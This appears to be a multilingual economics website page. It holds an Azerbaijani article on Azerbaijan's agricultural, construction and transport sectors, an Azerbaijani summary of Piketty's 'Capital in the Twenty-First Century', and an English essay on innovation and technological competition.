Azərbaycan iqtisadiyyatının strukturunda kənd təsərrüfatı tarixən əhəmiyyətli rol oynamışdır. Əhalinin kənd və şəhərlərdə məs¬kun¬laşmasında təxmini bir bərabərlik var. Azərbaycan SSR-in kənd təsərrüfatının sturukturunda pambıqçılıq, üzümçülük, tütünçülük daha çox xüsusi çəkiyə malik idi.Hətta bəzi illərdə pambıq istehsalı 1mln.tona, üzim istehsalı 2mln. tona çatdırılmışdır.Müstəqillik illərimizdə bu sahələrə nədənsə diqqət çox zəifləmiş, pambıq,tütün,üzüm istehsalı kəskin şəkildə aşağı düşmüşdür. Ölkəmizdə 2014-ci ildə 41 min ton pambıq, 2,9 min ton tütün, 147,7 min ton üzüm istehsal olunmuşdur.Bu sahələrin inkişaf etdirilməsi ölkə rəhbərliyi 2016-ci ildən yenidən diqqət mərkəzinə gətirilmiş,satınalma qiymətləri yüksəldilmiş, iri kənd təsərrüfatı müəssisələrinin yaradilmasının dövlət tərəfindən dəstəklənməsi nəzərdə tutulmuşdur.
Müstəqilliyimizin ilk illərindən başlayaraq kənd təsərrüfatında bazar müasibətlərinin əsaslarını formalaşdırmaq məqsədi ilə kənd təsərrüfatı müəssisələrinin əmlakı əvəzsiz (pulsuz) özəl¬ləş¬dirilmiş, nəticədə kənd əhalisi torpağın və digər kənd təsərrüfatı istehsal vasitələrinin mül¬kiyyətçısınə çevrilmişlər. Ölkəmizdə kənd təsərrüfatı məhsullarının demək olar ¬ki, hamısı özəl sektorda istehsal olunur. Kənd təsərrüfatı məhsulları istehsalının ÜDM-də xüsusi çəkisinin 6% təşkil etməsinə baxmayaraq (sovet dönəmində 30%) ölkə əhalisinin ərzaq təhlukıizliyinin təmin edilməsində əhəmiyyətli rol oyna¬yır. Sovet dönəmində əlçatmaz hesab olunan 1 mln. ton taxıl istehsalına 1997-ci ildə nail olunmuşdur. Artıq, ölkəmizdə 2014-cü ildə 800 min. ha əkin sahəsində 2,6 mln. ton taxıl istehsal olunmuşdur.. Taxıl əkin sahələrinin 1mln. ha-ya çatdırılması nəzərdə tutul¬muşdur. Kənd təsərrüfatında özəl mülkiyyət münasibətlərinin inkişafı nə¬ti¬cə¬sin¬də ölkə əhalisinin əsas ərzaq məhsullarına (çörək, ət, ət məhsulları, süd, süd məh¬sulları, meyvə-tərəvəz, bostan məhsulları və s.) olan tələbatının əhəmiyyətli hissəsi,80-85%-i daxili istehsal hesabına ödənilir. 2015-ci ildə ərzaq istehsalı 2,9% artmışdır. Ölkə rəhbərliyi tərəfindən məqsədli proq¬ram¬ların, regionların sosial-iqtisadi inkişafının sü¬rət¬lən¬di¬ril¬məsi dövlət proq¬ram¬la¬rı¬nın qəbul edilməsi və reallaşdırılması, sa¬hib¬kar¬lığın inkişaf etdirilməsinin öncül is¬tiqamətinin müəyyənləşdirilməsi, aqrar bölməyə dövlət büdcəsində nəzərdə tu¬tu¬lan dövlət dəstəyi iqtisadiyyatın mühüm sa¬¬həsi olan kənd təsərrüfatının inkişafını stimullaşdırır.Dövlət malik olduğu iq¬ti¬sadi və inzibati resurslardan səmərəli istifadə edərək daxili bazarı qorumaqla daxili ba-zarın struktur elementlərinin fəliyyətlərinin səmərəliliyini təmin etmiş olur.
Xüsusi mülkiyyətin bütün formalarının inkişafına əlverişli şərait yaradılması iqtisadiyyatımızın strukturunun mühüm elementindən birinə çevrilən tikinti-inşaat sektorunun da inkişafına güclü təkan vermişdir. Keçid dövrünün müxtəlif illərində (2000-2008 ci illər ) ümumi daxili məhsulun təxminən 10-14% -i tikintinin payına düşmüşdür. Tikinti-inşaat sektorunun sürətli inkişafı bir sıra sosial problemlərin həllində əhəmiyyətli rol oynayır. Mənzil tikintisi sürətlə inkişaf etdirilmidir.Mənzil tikintisi 2010-cu ildə ən yüksək səviyyəyə çatmışdır.Mənzil tikintisində 2010-cu ildə 2009-cu illə müqayisədə 36,5% artım olmuşdur.Bütün mülküyyət növləri üzrə 2014-cü ildə 2197 min kv.metr yaşayış evi istifadəyə verilmişdir.Onun 205 min kv.metri dövlət, 1992 min kv. metri isə qeyri-dövlət sektorunun payına düşür. Tikintinin inkişafı inşaat materialları istehsalının inkişafını da stimullaşdırmışdır.Tikinti-inşaat işlərinin genişlənməsi nəticəsində sement istehsalı yeni texnoloji əsaslara keçirilmiş, ətraf mühitin çirkləndirilməsi minimuma endirimişdir.Yerli xammalla işləyən inşaat mterialları istehsal edən müəsisələr işə salınmışdır.Tikintiyə qoyulan əsas vəsaitlə onun ÜDM-də payı arasında bir mütənasiblik müşahidə olunur.2014-cü ildə əsas kapitala yönəldilmiş vəsait 12,6%, ÜDM-də tikintinin payı isə 12,5% olmuşdur.
İqtisadiyyatın strukturunda mühüm sahələrdən biri də nəqliyyat sektorudur.İqtisadiyyat sahələri üzrə əsas kapitala yönəldilmiş vəsaitlərin 2014-cü ildə 13,9%-i nəqliyyatın payına düşmüşdür, bu sektorunÜDM-də payı isə həmin ildə 4,5% olmuşdur.Nəqliyyat sektorunun inkişaf etdirilməsi istiqamətində dövlət tərəfindən həyata keçirilən tədbirlər bu sahənin iqtisadiyyatda rolunu daha da artıracaq.Bu gün Azərbaycan iqtisadiyyatının inkişafında əhəmiyyətli rol oynaya biləcək rellaşan nəqliyyat layihələrindən biri Bakı beynəlxalq Dəniz ticarət limanının istifadəyə verilməsidir.Bakı Beynəlxalq Dəniz Ticarət limanı Xəzər hövzəsi ölkələrinin, Rusiya Fedarasiyasının, Iran İslam Respublikasının və Qazaxıstanın dəniz ticarəti limanları sırasında müasirliyinə və yükaşırma qabiliyyətinə görə ilk sıralardadır.Bu limanım ərazisində azad ticarət zonasının və böyük logistika mərkəzinin yaradılması nəzərdə tutulub.Azərbaycan Respublikasının prezidenti cənab İ.H.Əliyev 17 mart 2016-cı il tarixdə bu limanın ərazisində azad ticarət zonası yaradılması haqqında sərancam imzalamışdır. Bütövlükdə nəqliyyat sektorunun inkişaf etdirilməsi,Bakı Beynəlxalq Dəniz Ticarət limanının istifadəyə verilməsi , Qədim “İpək yolunun” bərpası, Neft-qaz boru kəməri şəbəkələrinin ge¬niş¬lən-dirilməsi, Bakı-Tbilisi-Qars dəmir yolunun çəkilişinin başa çatdırılması,TAP və TANAP qaz kəmərlərinin çəkilişi, İran İslam Respublikası ilə Azərbaycan hökümətinin nəqliyyat sektorunun inkişaf etdirilməsi sahəsində əldə etdikləri razılaşmalar, Azər¬bay¬canın Asiyanı Avropaya birləşdirən nəqliyyat dəhlizi rolu oynaması nəqliyyat sek¬torunun ÜDM-də payını artırmaqla bərabər ümumi iqtisadi inkişafa təkan verəcək.

Toğrul Vəliyev. «XXI əsrdə Kapital»
piketty

«Le Capital au xxie siècle» (XXI əsrdə Kapital) – Avropada və Birləşmiş Ştatlar qeyri-bərabərliyə həsr olunmuş fransız iqtisadşı Toma Pikettinin kitabıdır. Bu kitabda Avropa və ABŞ XVIII əsrdən başlamış yığılan statistik məlumatların təhlili aparılıb.

Müəllif haqqında.

1971-ci ildə Fransada anadan olub. İlk tədqiqat işi var-dövlətin əhali arasında paylanmasına həsr olunmuşdur. Bu işə görə İqtisadi və siyasi elmlər üzrə London məktəbində fəlsəfə doktoru dərəcəsi almışdır. İndi müəllif Sosial elmlərin ali məktəbində və Paris iqtisadiyyat məktəbində professor vəzifəsində çalışır.

Kitabın nəşri haqqında.

İlk dəfə kitab fransız dilində 2013-cü ilin avqust ayında nəşr olunub. Kitabın ingilis dilinə tərcüməsi 2014-cü ilin aprelində nəşr olunub. 2014-cü ilin axırına olan məlumata görə, fransız dilində 50 min nüsxə, başqa dillərdə ümumi olaraq 1,5 milyon nüsxə satılıb.

Kitabın məzmunu.

Tədqiqatın nəticəsində, Piketti göstərir ki, əgər kapitalın gəlirlik səviyyəsi iqtisadi artımdan yuxarı olsa, o zaman var-dövlətin təmərküzləşməsi artacaq. Piketti göstərir ki, uzunmüddtəli perspektivdə belə bir situasiya var-dövlətin əhalinin kiçik bir hissəsində mərkəzləşməsinə və iqtisadiyyatda qeyri-stabilliyə gətirib çıxardacaq.
Başqalarına nisbətən kitabda daha çox istifadə edilən anlayışlara kapital (Pikettiyə görə kapital və var-dövlət bir birini əvəz edir və eyni zamanda kapital iki yerə bölünə bilər – özəl və ictimai), milli kapital (və ya milli sərvət. Milli kapital Pikettiyə görə milli kapital=özəl kapital + ictimai kapital – borc), milli gəlir (ölkənin bütün vətəndaşları tərəfindən alınan gəlirin cəmi), milli kapitalın həcmi (Pikettiyə görə adətən milli kapital milli gəlirdən 5-6 dəfə çoxdur) aid edilə bilər. Eyni zamanda müəllif kapitalizm inkişafının iki əsas qanununu göstərir. Birinci qanun – əgər aşağı səviyyədə artım müşahidə olunan ölkədə yığımların səviyyəsi (yəni əhali tərəfindən yığılmış pulun) yüksəkdirsə, o zaman uzun müddət ərzində bu ölkədə milli gəlirə nisbətdə çox böyük həcmdə kapital yığılır. Bu isə ictimai quruluşa və sərvətin əhali arasında bölüşdürülməsinə təsir edir. Kapitalizmin ikinci qanunu – məcmu artım və məcmu gəlirlik qanunu – kapitalın gəlirlik səviyyəsinin iqtisadiyyatın artımına nisbətdə hətta cüzi dərəcədə çox olması uzun müddət ərzindən kapitalın əhəmiyyətli dərəcədə artımı ilə nəticələnir. Bu isə ictimai qeyri-bərabərliyin quruluşuna və dinamikasına dağıdıcı təsir edir.
Pikettiyə görə, iki əsr ərzində kapital quruluşunun dəyişməsinə baxmayaraq, kapitalın milli gəlirə nisbəti demək olar ki dəyişməyib. Ümumi statistikaya görə, 1970-ci illərdən etibarən özəl kapital artır. Əgər 1970-ci illərin əvvəlində özəl kapital illik milli gəlirdən 2-3,5 dəfə çox idi, 2010-cu illərdə artıq 4-6 dəfə çoxdur. Bunun səbəbi isə təkcə iqtisadiyyatın aşağı artım templəri (müəllif ABŞ, Almaniya, Fransa, Böyük Britaniya kimi ölkələri araşdırıb) və yığımların yüksək səviyyəsi deyil, həmçinin axırıncı onilliklərdə baş verən özəlləşdirilmə ilə bağlıdır (Rusiya misalında göstərilib).
Müəllifə görə, müxtəlif insanlara və fondlara məxsus kapital hərəkətinin təhlili onu göstərir ki, kapitalın ortalama illik artımı 4% təşkil etdikdə, ən böyük sərvətlər ildə 6-7% artırlar, amma kiçik sərvətlər 2-3%. Başqa sözlə varlıların sərvəti daha tez artır. Müəllifin riyazi hesablamalarına görə XXI əsrin ikinci yarısında dünya kapitalı dünya gəlirini 7 dəfə üstələyəcək. İndiki məlumatlara görə, Yer əhalisinin 0,001% dünya sərvətinin 20% — ə məxsusdur. Əgər eyni tendensiyalar dəyişməsə, o zaman 30 ildən sonra, artıq 0,001% dünya əhalisinə dünyanın 60% sərvəti məxsus olacaq. Varlıların varlanması isə orta sinifin kasiblaşmasına və kasıbların daha da kasıblaşmasına gətirəcək.
Buna görə, Piketti var-dövlətə ümumdünya proqressiv vergi sistemini yaratmaq təklif edir. Bununla da, onun fikrincə, bərabərlik üçün şərait yaranacaq və var-dövlətin böyük hissəsinin əhalinin kiçik hissəsinin əlinə düşməsinə çətinlik yaradacaq. Eyni zamanda müəllif özü də qəbul edir ki, belə bir tədbirlərin indi keçirilməsi “utopiya”dır.

(English) The nature of technological competition: the role of innovation
Businessman and business sketchBusinessman and business sketch

Извините, этот техт доступен только в “Американский Английский”. For the sake of viewer convenience, the content is shown below in the alternative language. You may click the link to switch the active language.

The main elements of characterizing a market in an economic sense are the size, nature of demand and the degree of competition. Now I’m going to focus on the nature of technological competition, one of the main determinants of technological competition. The appropriability of innovation profits is a core element of innovation and competition. Getting the benefits if an innovation is one of the main problems of an innovating firm or not. Competitors generally induce the appropriability problem. We should center on corporations between the overall result at the market level and the firms in a market. The nature of technology in a market can strongly influence the intensity and nature of competition between its forms. How the technology of an industry is perceived and how this relates to the view of the competition process is fundamental. In this case, I can say that different theoretical visions may contain fundamentally different ways in which technology and market competition interact. For making this clearer, we should use the earlier mentioned distinction between a market with homogeneous technology and a market with heterogeneous technology. We elaborate on this now.

We can assume that a firm consists of only a production unit and an R&D unit. In the homogeneous market the production units of all firms make products with similar technological and demand characteristic. Similar demand characteristics mean high cross-elasticity of demand between the products of the firms. Similar technology means that the technology of the products and the production line with which they are produced are similar for all firms. The R&D units all focus on either and improvement of the existing technology or on a similar innovation project to create a radical change.

The products of the firms have a high class-elasticity of demand in the heterogeneous markets. But in the other case, if compare the heterogeneous case and homogenous case, I can say that this class-elasticity of demand in heterogeneous case is lower than in the homogeneous market. One other significant thing is that, the firms can be diverse for the technology incorporated in their production and also in their products. Therefore, R&D units of different firms can ensure innovation projects.

In the homogeneous market, technological competition goes instantly. It means that, when one of the firms gets on the opportunity to establish and to market a new product, then the other firms’ market share automatically declines. But when some of the firms or all the firms in the market realize innovation projects and when one of them gets patent as a “winner firm”, then the innovator receives the real monopoly earnings. Therefore, in this case the other firms’ earnings and the market shares will decrease. On the other hand, if there is a weak protection of patents, then the possibility of the doing imitation is very high. The cause of high imitation is the existence similarities of the technology of the firms. So, it’s clear that, market indeterminacy for the innovating firms is very high.

As I mentioned, one of the distinguish determinants of competitiveness in a technology market is innovation. Especially nowadays, when the world of technology develops very quickly. So, innovation is becoming an important element of competitiveness, in the context of the rapid development of new knowledge. The firms in the market must be constantly innovating to get away falling behind. But, it’s not obligation that they must move the technological frontier forward. In another case the advanced firms always can do it. Nevertheless, there are needs for firms to be fast imitators and to use the new technologies. It affects on firms’ technological capabilities.

As it’s known, firms make new products and new processes by doing innovation in their production procedure. But, innovation also is the best way to realize good management techniques and models in the business. Cargo is one of the best examples of this case, because cargo alleviates the shipping of products and consequently, it contributes to shrink the cargo costs. Now I would like to take an example for business innovation. The development of consumer product firms is one of the examples for business innovation. In this case the firms Dell is distinguishes, because this firm signs a contract according to their design and then abolishes the distributors and sells the products immediately to the final consumers. These facts show the importance of innovation in the production.

Tahmasib Alizada

International Economics Chair

Перейти к верхней панели